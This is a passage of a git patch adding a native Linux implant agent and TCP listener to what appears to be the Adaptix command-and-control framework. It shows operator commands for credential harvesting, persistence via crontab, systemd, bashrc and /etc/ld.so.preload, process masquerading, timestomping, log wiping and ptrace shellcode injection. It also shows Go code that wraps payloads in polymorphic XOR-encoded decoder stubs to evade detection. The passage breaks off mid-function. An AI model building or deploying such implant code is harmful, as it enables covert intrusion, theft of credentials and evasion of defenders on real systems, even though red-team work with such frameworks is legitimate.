From ee34923556180948d98ecaeab36179accec7f8a2 Mon Sep 17 00:00:00 2001 From: "esteban.plana" Date: Sat, 23 May 2026 11:19:55 +0200 Subject: [PATCH] feat: add native Linux agent (x86_64 + ARM64) with TCP listener Native C agent for Linux with no libc dependency: - ELF hash-based API resolver, direct syscalls - Anti-debug/VM/container detection - ELF BOF loader with 12 post-exploitation BOFs - 26 commands, SOCKS proxy, port forwarding - AES-128-GCM crypto, msgpack wire protocol - Bind TCP listener for Linux agent --- AdaptixServer/extenders/linux_agent/Makefile | 16 + .../extenders/linux_agent/ax_config.axs | 278 +++ .../extenders/linux_agent/config.yaml | 10 + AdaptixServer/extenders/linux_agent/go.mod | 14 + AdaptixServer/extenders/linux_agent/go.sum | 16 + .../extenders/linux_agent/pl_encoder_linux.go | 472 ++++ .../extenders/linux_agent/pl_hashes_linux.go | 288 +++ .../extenders/linux_agent/pl_main.go | 2165 +++++++++++++++++ .../extenders/linux_agent/pl_utils.go | 515 ++++ .../linux_agent/src_agent/agent/agent_info.c | 237 ++ .../linux_agent/src_agent/agent/agent_info.h | 25 + .../src_agent/agent/ax_vsnprintf.c | 262 ++ .../linux_agent/src_agent/agent/bof_api.c | 611 +++++ .../linux_agent/src_agent/agent/bof_api.h | 115 + .../linux_agent/src_agent/agent/commander.c | 130 + .../linux_agent/src_agent/agent/commander.h | 27 + .../linux_agent/src_agent/agent/connector.c | 269 ++ .../linux_agent/src_agent/agent/connector.h | 53 + .../linux_agent/src_agent/agent/crt.c | 293 +++ .../linux_agent/src_agent/agent/crt.h | 41 + .../linux_agent/src_agent/agent/crypt.c | 348 +++ .../linux_agent/src_agent/agent/crypt.h | 55 + .../linux_agent/src_agent/agent/elf_bof.c | 1060 ++++++++ .../linux_agent/src_agent/agent/elf_bof.h | 169 ++ .../linux_agent/src_agent/agent/elf_resolve.c | 500 ++++ .../linux_agent/src_agent/agent/elf_resolve.h | 213 ++ .../linux_agent/src_agent/agent/jobs.c | 297 +++ .../linux_agent/src_agent/agent/jobs.h | 164 ++ .../linux_agent/src_agent/agent/main.c | 600 +++++ .../linux_agent/src_agent/agent/msgpack.c | 512 ++++ .../linux_agent/src_agent/agent/msgpack.h | 54 + .../linux_agent/src_agent/agent/opsec.c | 883 +++++++ .../linux_agent/src_agent/agent/opsec.h | 36 + .../linux_agent/src_agent/agent/pivot.c | 393 +++ .../linux_agent/src_agent/agent/pivot.h | 60 + .../linux_agent/src_agent/agent/proxyfire.c | 536 ++++ .../linux_agent/src_agent/agent/proxyfire.h | 50 + .../src_agent/agent/syscalls_aarch64.h | 438 ++++ .../src_agent/agent/syscalls_x64.h | 407 ++++ .../linux_agent/src_agent/agent/tasks_async.c | 772 ++++++ .../linux_agent/src_agent/agent/tasks_async.h | 16 + .../linux_agent/src_agent/agent/tasks_fs.c | 729 ++++++ .../linux_agent/src_agent/agent/tasks_fs.h | 20 + .../linux_agent/src_agent/agent/tasks_linux.c | 1329 ++++++++++ .../linux_agent/src_agent/agent/tasks_linux.h | 18 + .../linux_agent/src_agent/agent/tasks_net.c | 666 +++++ .../linux_agent/src_agent/agent/tasks_net.h | 20 + .../linux_agent/src_agent/agent/tasks_opsec.c | 243 ++ .../linux_agent/src_agent/agent/tasks_opsec.h | 24 + .../linux_agent/src_agent/agent/tasks_pivot.c | 126 + .../linux_agent/src_agent/agent/tasks_pivot.h | 18 + .../linux_agent/src_agent/agent/tasks_proc.c | 502 ++++ .../linux_agent/src_agent/agent/tasks_proc.h | 15 + .../linux_agent/src_agent/agent/types.h | 109 + .../src_agent/bofs/container_detect.c | 253 ++ .../linux_agent/src_agent/bofs/cred_harvest.c | 263 ++ .../linux_agent/src_agent/bofs/host_recon.c | 309 +++ .../src_agent/bofs/kernel_exploit_check.c | 251 ++ .../src_agent/bofs/ld_preload_check.c | 257 ++ .../linux_agent/src_agent/bofs/net_enum.c | 238 ++ .../linux_agent/src_agent/bofs/proc_enum.c | 164 ++ .../linux_agent/src_agent/bofs/service_enum.c | 301 +++ .../linux_agent/src_agent/bofs/shadow_dump.c | 98 + .../linux_agent/src_agent/bofs/ssh_keys.c | 214 ++ .../linux_agent/src_agent/bofs/sudo_check.c | 264 ++ .../linux_agent/src_agent/bofs/suid_scan.c | 240 ++ .../extenders/linux_listener_tcp/Makefile | 9 + .../linux_listener_tcp/ax_config.axs | 45 + .../extenders/linux_listener_tcp/config.yaml | 7 + .../extenders/linux_listener_tcp/go.mod | 13 + .../extenders/linux_listener_tcp/go.sum | 11 + .../extenders/linux_listener_tcp/pl_main.go | 198 ++ .../linux_listener_tcp/pl_transport.go | 44 + AdaptixServer/go.work | 2 + AdaptixServer/profile.yaml | 2 + 75 files changed, 20402 insertions(+) create mode 100644 AdaptixServer/extenders/linux_agent/Makefile create mode 100644 AdaptixServer/extenders/linux_agent/ax_config.axs create mode 100644 AdaptixServer/extenders/linux_agent/config.yaml create mode 100644 AdaptixServer/extenders/linux_agent/go.mod create mode 100644 AdaptixServer/extenders/linux_agent/go.sum create mode 100644 AdaptixServer/extenders/linux_agent/pl_encoder_linux.go create mode 100644 AdaptixServer/extenders/linux_agent/pl_hashes_linux.go create mode 100644 AdaptixServer/extenders/linux_agent/pl_main.go create mode 100644 AdaptixServer/extenders/linux_agent/pl_utils.go create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/agent_info.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/ax_vsnprintf.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/bof_api.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/commander.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/commander.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/connector.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/connector.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/crt.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/crt.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/crypt.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/elf_bof.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/main.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/msgpack.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/opsec.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_aarch64.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/syscalls_x64.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_async.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_fs.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_linux.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_net.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_opsec.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_pivot.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/tasks_proc.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/agent/types.h create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/container_detect.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/cred_harvest.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/host_recon.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/kernel_exploit_check.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/ld_preload_check.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/net_enum.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/proc_enum.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/service_enum.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/shadow_dump.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/ssh_keys.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/sudo_check.c create mode 100644 AdaptixServer/extenders/linux_agent/src_agent/bofs/suid_scan.c create mode 100644 AdaptixServer/extenders/linux_listener_tcp/Makefile create mode 100644 AdaptixServer/extenders/linux_listener_tcp/ax_config.axs create mode 100644 AdaptixServer/extenders/linux_listener_tcp/config.yaml create mode 100644 AdaptixServer/extenders/linux_listener_tcp/go.mod create mode 100644 AdaptixServer/extenders/linux_listener_tcp/go.sum create mode 100644 AdaptixServer/extenders/linux_listener_tcp/pl_main.go create mode 100644 AdaptixServer/extenders/linux_listener_tcp/pl_transport.go diff --git a/AdaptixServer/extenders/linux_agent/Makefile b/AdaptixServer/extenders/linux_agent/Makefile new file mode 100644 index 000000000..eafc2ef41 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/Makefile @@ -0,0 +1,16 @@ +all: clean + @ echo " * Building agent_linux plugin" + @ mkdir dist + @ cp config.yaml ax_config.axs ./dist/ + @ GOEXPERIMENT=jsonv2,greenteagc go build -buildmode=plugin -ldflags="-s -w" -o ./dist/agent_linux.so pl_main.go pl_utils.go pl_hashes_linux.go pl_encoder_linux.go + @ echo " done..." + + @ echo " * Copying agent sources for per-payload compilation" + @ mkdir -p ./dist/src_agent/agent ./dist/src_agent/files + @ cp src_agent/agent/*.c src_agent/agent/*.h ./dist/src_agent/agent/ + @ rm -f ./dist/src_agent/agent/config.h ./dist/src_agent/agent/ApiDefines.h ./dist/src_agent/agent/strings_obf.h + @ cp src_agent/files/config.tpl ./dist/src_agent/files/ 2>/dev/null || true + @ echo " done..." + +clean: + @ rm -rf dist diff --git a/AdaptixServer/extenders/linux_agent/ax_config.axs b/AdaptixServer/extenders/linux_agent/ax_config.axs new file mode 100644 index 000000000..558d0dd07 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/ax_config.axs @@ -0,0 +1,278 @@ +/// Linux Agent (Native C) + +let exit_action = menu.create_action("Exit", function(agents_id) { agents_id.forEach(id => ax.execute_command(id, "exit")) }); +menu.add_session_agent(exit_action, ["linux"]) + +let file_browser_action = menu.create_action("File Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_files(id)) }); +let process_browser_action = menu.create_action("Process Browser", function(agents_id) { agents_id.forEach(id => ax.open_browser_process(id)) }); +let terminal_browser_action = menu.create_action("Remote Terminal", function(agents_id) { agents_id.forEach(id => ax.open_remote_terminal(id)) }); +menu.add_session_browser(file_browser_action, ["linux"]) +menu.add_session_browser(process_browser_action, ["linux"]) +menu.add_session_browser(terminal_browser_action, ["linux"]) + +let tunnel_access_action = menu.create_action("Create Tunnel", function(agents_id) { ax.open_access_tunnel(agents_id[0], true, true, false, false) }); +menu.add_session_access(tunnel_access_action, ["linux"]); + + +let execute_action = menu.create_action("Execute", function(files_list) { + file = files_list[0]; + if(file.type != "file"){ return; } + + let label_bin = form.create_label("Binary:"); + let text_bin = form.create_textline(file.path + file.name); + text_bin.setEnabled(false); + let label_args = form.create_label("Arguments:"); + let text_args = form.create_textline(); + + let layout = form.create_gridlayout(); + layout.addWidget(label_bin, 0, 0, 1, 1); + layout.addWidget(text_bin, 0, 1, 1, 1); + layout.addWidget(label_args, 1, 0, 1, 1); + layout.addWidget(text_args, 1, 1, 1, 1); + + let dialog = form.create_dialog("Execute binary"); + dialog.setSize(500, 80); + dialog.setLayout(layout); + if ( dialog.exec() == true ) + { + let command = "run " + text_bin.text() + " " + text_args.text(); + ax.execute_command(file.agent_id, command); + } +}); +let download_action = menu.create_action("Download", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "download " + file.path + file.name) ) }); +let remove_action = menu.create_action("Remove", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "rm " + file.path + file.name) ) }); +menu.add_filebrowser(download_action, ["linux"]) +menu.add_filebrowser(remove_action, ["linux"]) + + +let job_stop_action = menu.create_action("Stop job", function(tasks_list) { + tasks_list.forEach((task) => { + if(task.type == "JOB" && task.state == "Running") { + ax.execute_command(task.agent_id, "job kill " + task.task_id); + } + }); +}); +menu.add_tasks_job(job_stop_action, ["linux"]) + + +let cancel_action = menu.create_action("Cancel", function(files_list) { files_list.forEach( file => ax.execute_command(file.agent_id, "job kill " + file.file_id) ) }); +menu.add_downloads_running(cancel_action, ["linux"]) + + + +var event_files_action = function(id, path) { + ax.execute_browser(id, "ls " + path); +} +event.on_filebrowser_list(event_files_action, ["linux"]); + +var event_upload_action = function(id, path, filepath) { + let filename = ax.file_basename(filepath); + ax.execute_browser(id, "upload " + filepath + " " + path + filename); +} +event.on_filebrowser_upload(event_upload_action, ["linux"]); + +var event_process_action = function(id) { + ax.execute_browser(id, "ps"); +} +event.on_processbrowser_list(event_process_action, ["linux"]); + + + +function RegisterCommands(listenerType) +{ + let cmd_cat = ax.create_command("cat", "Read a file (less 10 KB)", "cat /etc/passwd", "Task: read file"); + cmd_cat.addArgString("path", true); + + let cmd_cd = ax.create_command("cd", "Change current working directory", "cd /home/user", "Task: change working directory"); + cmd_cd.addArgString("path", true); + + let cmd_cp = ax.create_command("cp", "Copy file or directory", "cp src.txt dst.txt", "Task: copy file or directory"); + cmd_cp.addArgString("src", true); + cmd_cp.addArgString("dst", true); + + let cmd_download = ax.create_command("download", "Download a file", "download /tmp/file", "Task: download file"); + cmd_download.addArgString("path", true); + + let cmd_exit = ax.create_command("exit", "Terminate the agent", "exit", "Task: terminate agent"); + + let cmd_getuid = ax.create_command("getuid", "Get current user and UID", "getuid", "Task: get user info"); + + let cmd_env = ax.create_command("env", "List environment variables", "env", "Task: list env"); + + let cmd_netstat = ax.create_command("netstat", "List network connections (TCP/UDP)", "netstat", "Task: list connections"); + + let cmd_mounts = ax.create_command("mounts", "List mount points", "mounts", "Task: list mounts"); + + let cmd_edr = ax.create_command("edr", "Detect installed security tools (EDR, AV, audit)", "edr", "Task: EDR detection"); + + let cmd_creds = ax.create_command("creds", "Credential harvest", "creds all", "Task: credential harvest"); + cmd_creds.addArgString("type", "", "all"); + + let _cmd_persist_crontab = ax.create_command("crontab", "Install crontab persistence", "persist crontab /tmp/agent \"*/5 * * * *\""); + _cmd_persist_crontab.addArgString("cmd", true); + _cmd_persist_crontab.addArgString("schedule", "", "*/5 * * * *"); + let _cmd_persist_systemd = ax.create_command("systemd", "Install systemd user service", "persist systemd myservice /tmp/agent"); + _cmd_persist_systemd.addArgString("name", true); + _cmd_persist_systemd.addArgString("cmd", true); + let _cmd_persist_bashrc = ax.create_command("bashrc", "Append to ~/.bashrc", "persist bashrc \"/tmp/agent &\""); + _cmd_persist_bashrc.addArgString("cmd", true); + let _cmd_persist_ldpreload = ax.create_command("ldpreload", "Write to /etc/ld.so.preload (root)", "persist ldpreload /tmp/agent.so"); + _cmd_persist_ldpreload.addArgString("path", true); + let _cmd_persist_remove = ax.create_command("remove", "Remove persistence", "persist remove crontab"); + _cmd_persist_remove.addArgString("type", true); + _cmd_persist_remove.addArgString("name", false); + let _cmd_persist_status = ax.create_command("status", "List active persistence mechanisms", "persist status"); + let cmd_persist = ax.create_command("persist", "Persistence management"); + cmd_persist.addSubCommands([_cmd_persist_crontab, _cmd_persist_systemd, _cmd_persist_bashrc, _cmd_persist_ldpreload, _cmd_persist_remove, _cmd_persist_status]); + + let _cmd_container_detect = ax.create_command("detect", "Detect container runtime and cloud provider", "container detect"); + let _cmd_container_metadata = ax.create_command("metadata", "Fetch cloud instance metadata (IMDS)", "container metadata"); + let cmd_container = ax.create_command("container", "Container/Cloud detection and metadata"); + cmd_container.addSubCommands([_cmd_container_detect, _cmd_container_metadata]); + + let cmd_masquerade = ax.create_command("masquerade", "Masquerade process name (OPSEC)", "masquerade [kworker/0:1-events]", "Task: masquerade process"); + cmd_masquerade.addArgString("name", "", "[kworker/0:1-events]"); + + let cmd_timestomp = ax.create_command("timestomp", "Modify file timestamps (OPSEC)", "timestomp /tmp/agent 0", "Task: timestomp"); + cmd_timestomp.addArgString("path", true); + cmd_timestomp.addArgInt("timestamp", "", 0); + + let cmd_cleanlog = ax.create_command("cleanlog", "Truncate system logs (requires root)", "cleanlog", "Task: clean logs"); + + let cmd_inject = ax.create_command("inject", "Inject shellcode into process via ptrace", "inject 1234 AAAA", "Task: inject shellcode"); + cmd_inject.addArgInt("pid", true); + cmd_inject.addArgString("shellcode", true); + + let cmd_migrate = ax.create_command("migrate", "Re-exec agent from memfd (fileless)", "migrate", "Task: migrate agent"); + + let _cmd_job_list = ax.create_command("list", "List of jobs", "job list", "Task: show jobs"); + let _cmd_job_kill = ax.create_command("kill", "Kill a specified job", "job kill 1a2b3c4d", "Task: kill job"); + _cmd_job_kill.addArgString("task_id", true); + let cmd_job = ax.create_command("job", "Long-running tasks manager"); + cmd_job.addSubCommands([_cmd_job_list, _cmd_job_kill]); + + let cmd_kill = ax.create_command("kill", "Kill a process with a given PID", "kill 7865", "Task: kill process"); + cmd_kill.addArgInt("pid", true); + + let cmd_ls = ax.create_command("ls", "List contents of a directory", "ls /home/", "Task: list files"); + cmd_ls.addArgString("path", "", "."); + + let cmd_mv = ax.create_command("mv", "Move/rename file or directory", "mv src.txt dst.txt", "Task: move file"); + cmd_mv.addArgString("src", true); + cmd_mv.addArgString("dst", true); + + let cmd_mkdir = ax.create_command("mkdir", "Create directory", "mkdir /tmp/ex", "Task: make directory"); + cmd_mkdir.addArgString("path", true); + + let cmd_ps = ax.create_command("ps", "Show process list", "ps", "Task: show process list"); + + let cmd_pwd = ax.create_command("pwd", "Print current working directory", "pwd", "Task: print working directory"); + + let cmd_rm = ax.create_command("rm", "Remove a file or folder", "rm /tmp/file", "Task: remove file or directory"); + cmd_rm.addArgString("path", true); + + let cmd_run = ax.create_command("run", "Execute program in background", "run /tmp/script.sh", "Task: command run"); + cmd_run.addArgString("program", true); + cmd_run.addArgString("args", false); + + let _cmd_socks_start = ax.create_command("start", "Start a SOCKS5 proxy server", "socks start 1080 -a user pass"); + _cmd_socks_start.addArgFlagString("-h", "address", "Listening interface address", "0.0.0.0"); + _cmd_socks_start.addArgInt("port", true, "Listen port"); + _cmd_socks_start.addArgBool("-a", "Enable User/Password authentication"); + _cmd_socks_start.addArgString("username", false, "Username"); + _cmd_socks_start.addArgString("password", false, "Password"); + let _cmd_socks_stop = ax.create_command("stop", "Stop a SOCKS proxy server", "socks stop 1080"); + _cmd_socks_stop.addArgInt("port", true); + let cmd_socks = ax.create_command("socks", "Managing socks tunnels"); + cmd_socks.addSubCommands([_cmd_socks_start, _cmd_socks_stop]); + + let cmd_shell = ax.create_command("shell", "Execute command via /bin/sh", "shell id", "Task: command execute"); + cmd_shell.addArgString("cmd", true); + + let cmd_upload = ax.create_command("upload", "Upload a file", "upload /tmp/file.txt /root/file.txt", "Task: upload file"); + cmd_upload.addArgFile("local_file", true); + cmd_upload.addArgString("remote_path", false); + + let cmd_link = ax.create_command("link", "Link to a child agent via TCP pivot", "link 192.168.1.10 4444", "Task: link pivot"); + cmd_link.addArgString("target", true); + cmd_link.addArgInt("port", true); + + let cmd_unlink = ax.create_command("unlink", "Unlink a pivot connection", "unlink p0", "Task: unlink pivot"); + cmd_unlink.addArgString("id", true); + + let _cmd_exec_bof = ax.create_command("bof", "Execute a BOF (ELF .o file) in-memory", "execute bof /path/to/bof.o", "Task: execute BOF"); + _cmd_exec_bof.addArgFile("bof", true); + _cmd_exec_bof.addArgString("param_data", false); + _cmd_exec_bof.addArgBool("async", false); + let cmd_execute = ax.create_command("execute", "Execute a BOF file in-memory"); + cmd_execute.addSubCommands([_cmd_exec_bof]); + + let commands = ax.create_commands_group("linux", [cmd_cat, cmd_cd, cmd_cleanlog, cmd_container, cmd_cp, cmd_creds, cmd_download, cmd_edr, cmd_env, cmd_execute, cmd_exit, cmd_getuid, cmd_inject, cmd_job, cmd_kill, cmd_link, cmd_ls, cmd_masquerade, cmd_migrate, cmd_mounts, cmd_mv, cmd_mkdir, cmd_netstat, cmd_persist, cmd_ps, cmd_pwd, cmd_rm, cmd_run, cmd_shell, cmd_socks, cmd_timestomp, cmd_unlink, cmd_upload]); + + return { + commands_linux: commands + } +} + +function GenerateUI(listeners_type) +{ + let labelArch = form.create_label("Arch:"); + let comboArch = form.create_combo() + comboArch.addItems(["x86_64", "ARM64"]); + + let labelFormat = form.create_label("Format:"); + let comboFormat = form.create_combo() + comboFormat.addItems(["Binary ELF (Native)", "Shared Object (Native)", "Shellcode x86_64 (Native)", "Shellcode ARM64 (Native)"]); + + let hline = form.create_hline() + + let labelReconnTimeout = form.create_label("Reconnect timeout:"); + let textReconnTimeout = form.create_textline("10"); + textReconnTimeout.setPlaceholder("seconds") + + let labelReconnCount = form.create_label("Reconnect count:"); + let spinReconnCount = form.create_spin(); + spinReconnCount.setRange(0, 1000000000); + spinReconnCount.setValue(3); + + // Hide reconnect settings for bind_tcp listeners (internal — no outbound connection) + if( listeners_type.includes("LinuxTCP") && listeners_type.length == 1 ) { + labelReconnTimeout.setVisible(false); + textReconnTimeout.setVisible(false); + labelReconnCount.setVisible(false); + spinReconnCount.setVisible(false); + } + + let hline2 = form.create_hline() + let checkOpsec = form.create_check("OPSEC Checks (anti-debug, VM detection, string obfuscation)"); + + let layout = form.create_gridlayout(); + layout.addWidget(labelArch, 0, 0, 1, 1); + layout.addWidget(comboArch, 0, 1, 1, 1); + layout.addWidget(labelFormat, 1, 0, 1, 1); + layout.addWidget(comboFormat, 1, 1, 1, 1); + layout.addWidget(hline, 2, 0, 1, 2); + layout.addWidget(labelReconnTimeout, 3, 0, 1, 1); + layout.addWidget(textReconnTimeout, 3, 1, 1, 1); + layout.addWidget(labelReconnCount, 4, 0, 1, 1); + layout.addWidget(spinReconnCount, 4, 1, 1, 1); + layout.addWidget(hline2, 5, 0, 1, 2); + layout.addWidget(checkOpsec, 6, 0, 1, 2); + + let container = form.create_container() + container.put("arch", comboArch) + container.put("format", comboFormat) + container.put("reconn_timeout", textReconnTimeout) + container.put("reconn_count", spinReconnCount) + container.put("opsec_enabled", checkOpsec) + + let panel = form.create_panel() + panel.setLayout(layout) + + return { + ui_panel: panel, + ui_container: container, + ui_height: 400, + ui_width: 550 + } +} diff --git a/AdaptixServer/extenders/linux_agent/config.yaml b/AdaptixServer/extenders/linux_agent/config.yaml new file mode 100644 index 000000000..752cffdfc --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/config.yaml @@ -0,0 +1,10 @@ +extender_type: "agent" +extender_file: "agent_linux.so" +ax_file: "ax_config.axs" + +agent_name: "linux" +agent_watermark: "a7f3b902" +listeners: + - "GopherTCP" + - "LinuxTCP" +multi_listeners: true diff --git a/AdaptixServer/extenders/linux_agent/go.mod b/AdaptixServer/extenders/linux_agent/go.mod new file mode 100644 index 000000000..3816a8a10 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/go.mod @@ -0,0 +1,14 @@ +module adaptix_agent_linux + +go 1.25.4 + +require ( + github.com/Adaptix-Framework/axc2 v1.2.0 + github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 + github.com/vmihailenco/msgpack/v5 v5.4.1 +) + +require ( + github.com/stretchr/testify v1.11.1 // indirect + github.com/vmihailenco/tagparser/v2 v2.0.0 // indirect +) diff --git a/AdaptixServer/extenders/linux_agent/go.sum b/AdaptixServer/extenders/linux_agent/go.sum new file mode 100644 index 000000000..8f0a39d1c --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/go.sum @@ -0,0 +1,16 @@ +github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= +github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 h1:El6M4kTTCOh6aBiKaUGG7oYTSPP8MxqL4YI3kZKwcP4= +github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510/go.mod h1:pupxD2MaaD3pAXIBCelhxNneeOaAeabZDe5s4K6zSpQ= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/stretchr/testify v1.11.1 h1:7s2iGBzp5EwR7/aIZr8ao5+dra3wiQyKjjFuvgVKu7U= +github.com/stretchr/testify v1.11.1/go.mod h1:wZwfW3scLgRK+23gO65QZefKpKQRnfz6sD981Nm4B6U= +github.com/vmihailenco/msgpack/v5 v5.4.1 h1:cQriyiUvjTwOHg8QZaPihLWeRAAVoCpE00IUPn0Bjt8= +github.com/vmihailenco/msgpack/v5 v5.4.1/go.mod h1:GaZTsDaehaPpQVyxrf5mtQlH+pc21PIudVV/E3rRQok= +github.com/vmihailenco/tagparser/v2 v2.0.0 h1:y09buUbR+b5aycVFQs/g70pqKVZNBmxwAhO7/IwNM9g= +github.com/vmihailenco/tagparser/v2 v2.0.0/go.mod h1:Wri+At7QHww0WTrCBeu4J6bNtoV6mEfg5OIWRZA9qds= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/AdaptixServer/extenders/linux_agent/pl_encoder_linux.go b/AdaptixServer/extenders/linux_agent/pl_encoder_linux.go new file mode 100644 index 000000000..4a5e34fd6 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/pl_encoder_linux.go @@ -0,0 +1,472 @@ +package main + +import ( + "crypto/rand" + "encoding/binary" + "fmt" + mrand "math/rand/v2" +) + +// xorEncodeShellcodeX64 creates a polymorphic x86_64 decoder stub + XOR-encoded SO payload. +// Layout: [x64 stub ~200B][16B XOR key][4B LE size][XOR-encoded SO] +func xorEncodeShellcodeX64(payload []byte) ([]byte, error) { + // Generate random 16-byte XOR key + key := make([]byte, 16) + if _, err := rand.Read(key); err != nil { + return nil, fmt.Errorf("generate XOR key: %w", err) + } + + // Generate polymorphic x86_64 decoder stub + stub, keyOffset, sizeOffset, sizeMovOffset := generateStubX64() + + // Patch key into stub + copy(stub[keyOffset:keyOffset+16], key) + + // Patch payload size (LE uint32) — data area + mov ecx instruction + binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload))) + binary.LittleEndian.PutUint32(stub[sizeMovOffset+1:sizeMovOffset+5], uint32(len(payload))) + + // XOR encode payload + encoded := make([]byte, len(payload)) + for i := 0; i < len(payload); i++ { + encoded[i] = payload[i] ^ key[i%16] + } + + // Assemble final blob: stub + encoded payload + result := make([]byte, 0, len(stub)+len(encoded)) + result = append(result, stub...) + result = append(result, encoded...) + + return result, nil +} + +// xorEncodeShellcodeARM64 creates a polymorphic ARM64 Linux decoder stub + XOR-encoded SO payload. +// Layout: [ARM64 stub ~200B][16B XOR key][4B LE size][padding][XOR-encoded SO] +func xorEncodeShellcodeARM64(payload []byte) ([]byte, error) { + // Generate random 16-byte XOR key + key := make([]byte, 16) + if _, err := rand.Read(key); err != nil { + return nil, fmt.Errorf("generate XOR key: %w", err) + } + + // Generate polymorphic ARM64 decoder stub + stub, keyOffset, sizeOffset := generateStubARM64Linux() + + // Patch key into stub + copy(stub[keyOffset:keyOffset+16], key) + + // Patch payload size (LE uint32) + binary.LittleEndian.PutUint32(stub[sizeOffset:sizeOffset+4], uint32(len(payload))) + + // XOR encode payload + encoded := make([]byte, len(payload)) + for i := 0; i < len(payload); i++ { + encoded[i] = payload[i] ^ key[i%16] + } + + // Assemble final blob + result := make([]byte, 0, len(stub)+len(encoded)) + result = append(result, stub...) + result = append(result, encoded...) + 